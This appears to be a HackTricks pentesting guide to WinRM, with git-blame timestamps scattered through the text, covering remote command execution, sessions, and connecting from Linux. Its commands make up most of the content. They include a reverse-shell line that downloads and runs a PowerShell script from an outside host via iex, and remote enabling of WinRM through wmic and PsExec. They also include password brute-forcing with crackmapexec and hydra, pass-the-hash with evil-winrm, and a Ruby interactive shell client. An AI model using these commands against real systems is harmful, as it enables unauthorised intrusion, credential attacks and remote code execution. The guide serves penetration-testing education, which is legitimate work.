2022-07-28 09:46:19 +00:00
# 5985,5986 - Pentesting WinRM
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
< summary > Support HackTricks< / summary >
2024-01-03 10:42:55 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 09:08:05 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-11-19 11:36:42 +00:00
< figure > < img src = "/.gitbook/assets/image.png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
Join [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
2023-07-14 15:03:41 +00:00
2023-12-04 15:45:05 +00:00
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
2023-07-14 15:03:41 +00:00
2023-12-04 15:45:05 +00:00
**Join us on** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) and start collaborating with top hackers today!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
[Windows Remote Management (WinRM) ](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\ ).aspx) is highlighted as a **protocol by Microsoft** that enables the **remote management of Windows systems** through HTTP(S), leveraging SOAP in the process. It's fundamentally powered by WMI, presenting itself as an HTTP-based interface for WMI operations.
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
The presence of WinRM on a machine allows for straightforward remote administration via PowerShell, akin to how SSH works for other operating systems. To determine if WinRM is operational, checking for the opening of specific ports is recommended:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
An open port from the list above signifies that WinRM has been set up, thus permitting attempts to initiate a remote session.
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
### **Initiating a WinRM Session**
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
To configure PowerShell for WinRM, Microsoft's `Enable-PSRemoting` cmdlet comes into play, setting up the computer to accept remote PowerShell commands. With elevated PowerShell access, the following commands can be executed to enable this functionality and designate any host as trusted:
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
```powershell
2020-07-15 15:43:14 +00:00
Enable-PSRemoting -Force
2024-02-08 21:36:35 +00:00
Set-Item wsman:\localhost\client\trustedhosts *
2020-07-15 15:43:14 +00:00
```
2024-02-08 21:36:35 +00:00
This approach involves adding a wildcard to the `trustedhosts` configuration, a step that requires cautious consideration due to its implications. It's also noted that altering the network type from "Public" to "Work" might be necessary on the attacker's machine.
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
Moreover, WinRM can be **activated remotely** using the `wmic` command, demonstrated as follows:
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
```powershell
2020-07-15 15:43:14 +00:00
wmic /node:< REMOTE_HOST > process call create "powershell enable-psremoting -force"
```
2024-02-08 21:36:35 +00:00
This method allows for the remote setup of WinRM, enhancing the flexibility in managing Windows machines from afar.
2022-07-28 09:46:19 +00:00
### Test if configured
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
To verify the setup of your attack machine, the `Test-WSMan` command is utilized to check if the target has WinRM configured properly. By executing this command, you should expect to receive details concerning the protocol version and wsmid, indicating successful configuration. Below are examples demonstrating the expected output for a configured target versus an unconfigured one:
2024-04-06 16:25:58 +00:00
* For a target that **is** properly configured, the output will look similar to this:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan < target-ip >
```
The response should contain information about the protocol version and wsmid, signifying that WinRM is set up correctly.
2020-07-15 15:43:14 +00:00
2024-05-05 17:56:05 +00:00
![](< .. / . gitbook / assets / image ( 582 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-06 16:25:58 +00:00
* Conversely, for a target **not** configured for WinRM, the would result in no such detailed information, highlighting the absence of a proper WinRM setup.
2020-07-15 15:43:14 +00:00
2024-05-05 17:56:05 +00:00
![](< .. / . gitbook / assets / image ( 458 ) . png > )
2020-07-15 15:43:14 +00:00
2022-07-28 09:46:19 +00:00
### Execute a command
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
To execute `ipconfig` remotely on a target machine and view its output do:
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
```powershell
2020-07-15 15:43:14 +00:00
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
2024-05-05 17:56:05 +00:00
![](< .. / . gitbook / assets / image ( 151 ) . png > )
2020-07-15 15:43:14 +00:00
You can also **execute a command of your current PS console via** _**Invoke-Command**_ . Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer** , you can do:
2024-02-08 21:36:35 +00:00
```powershell
2021-08-14 10:42:47 +00:00
Invoke-Command -ComputerName < computername > -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
2020-07-15 15:43:14 +00:00
```
2022-07-28 09:46:19 +00:00
### Execute a Script
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
```powershell
2020-07-15 15:43:14 +00:00
Invoke-Command -ComputerName < computername > -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
2022-07-28 09:46:19 +00:00
### Get reverse-shell
2021-01-03 00:43:09 +00:00
2024-02-08 21:36:35 +00:00
```powershell
2021-01-03 00:43:09 +00:00
Invoke-Command -ComputerName < computername > -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
2022-07-28 09:46:19 +00:00
### Get a PS session
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
To get an interactive PowerShell shell use `Enter-PSSession` :
2020-07-15 15:43:14 +00:00
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
2020-07-15 15:43:14 +00:00
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
2020-07-15 15:43:14 +00:00
```
2024-05-05 17:56:05 +00:00
![](< .. / . gitbook / assets / image ( 1009 ) . png > )
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**The session will run in a new process (wsmprovhost) inside the "victim"**
2020-07-15 15:43:14 +00:00
2022-07-28 09:46:19 +00:00
### **Forcing WinRM Open**
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:
2020-07-15 15:43:14 +00:00
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
2020-07-15 15:43:14 +00:00
```
2022-07-28 09:46:19 +00:00
### Saving and Restoring sessions
2020-07-15 15:43:14 +00:00
This **won't work** if the the **language** is **constrained** in the remote computer.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
2020-07-15 15:43:14 +00:00
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName < computername > [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
2020-07-15 15:43:14 +00:00
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Inside this sessions you can load PS scripts using _Invoke-Command_
2024-02-08 21:36:35 +00:00
```powershell
2020-07-15 15:43:14 +00:00
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2022-07-28 09:46:19 +00:00
### Errors
2020-07-15 15:43:14 +00:00
If you find the following error:
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
2021-10-18 11:21:18 +00:00
The try on the client (info from [here ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server )):
2020-07-15 15:43:14 +00:00
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
2024-11-19 11:36:42 +00:00
< figure > < img src = "/.gitbook/assets/image.png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
Join [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
2022-10-27 23:22:18 +00:00
2023-12-04 15:45:05 +00:00
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
2023-07-14 15:03:41 +00:00
2023-12-04 15:45:05 +00:00
**Join us on** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) and start collaborating with top hackers today!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM connection in linux
2020-07-15 15:43:14 +00:00
2022-07-28 09:46:19 +00:00
### Brute Force
2020-09-20 21:44:41 +00:00
Be careful, brute-forcing winrm could block users.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm < IP > -d < Domain Name > -u < username > -p < password > -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm < IP > -d < Domain Name > -u < username > -H < HASH > -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2022-07-28 09:46:19 +00:00
### Using evil-winrm
2020-07-15 15:43:14 +00:00
```ruby
gem install evil-winrm
```
Read **documentation** on its github: [https://github.com/Hackplayers/evil-winrm ](https://github.com/Hackplayers/evil-winrm )
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i < IP > /< Domain >
```
To use evil-winrm to connect to an **IPv6 address** create an entry inside _**/etc/hosts**_ setting a **domain name** to the IPv6 address and connect to that domain.
2022-07-28 09:46:19 +00:00
### Pass the hash with evil-winrm
2020-07-15 15:43:14 +00:00
```ruby
evil-winrm -u < username > -H < Hash > -i < IP >
```
2024-05-05 17:56:05 +00:00
![](< .. / . gitbook / assets / image ( 680 ) . png > )
2020-07-15 15:43:14 +00:00
2022-07-28 09:46:19 +00:00
### Using a PS-docker machine
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2022-07-28 09:46:19 +00:00
### Using a ruby script
2020-07-15 15:43:14 +00:00
2024-04-06 16:25:58 +00:00
**Code extracted from here:** [**https://alamot.github.io/winrm\_shell/** ](https://alamot.github.io/winrm\_shell/ )
2020-07-15 15:43:14 +00:00
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2020-07-15 15:43:14 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK` n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2022-10-27 23:22:18 +00:00
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/ ](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/ )
2022-07-28 09:46:19 +00:00
## HackTricks Automatic Commands
2021-08-12 12:53:13 +00:00
2021-10-18 11:21:18 +00:00
```
2021-08-12 12:53:13 +00:00
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘ MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-25 16:33:43 +00:00
2021-09-13 15:49:25 +00:00
Entry_2:
Name: Hydra Brute Force
2021-09-27 17:01:44 +00:00
Description: Need User
2021-09-13 15:49:25 +00:00
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
2021-08-15 22:19:51 +00:00
```
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
2024-11-19 11:36:42 +00:00
< figure > < img src = "/.gitbook/assets/image.png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2023-12-04 15:45:05 +00:00
Join [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
2022-10-27 23:22:18 +00:00
2023-12-04 15:45:05 +00:00
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
2023-02-27 09:28:45 +00:00
2023-12-04 15:45:05 +00:00
**Join us on** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) and start collaborating with top hackers today!
2022-10-27 23:22:18 +00:00
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
< summary > Support HackTricks< / summary >
2024-01-03 10:42:55 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 09:08:05 +00:00
{% endhint %}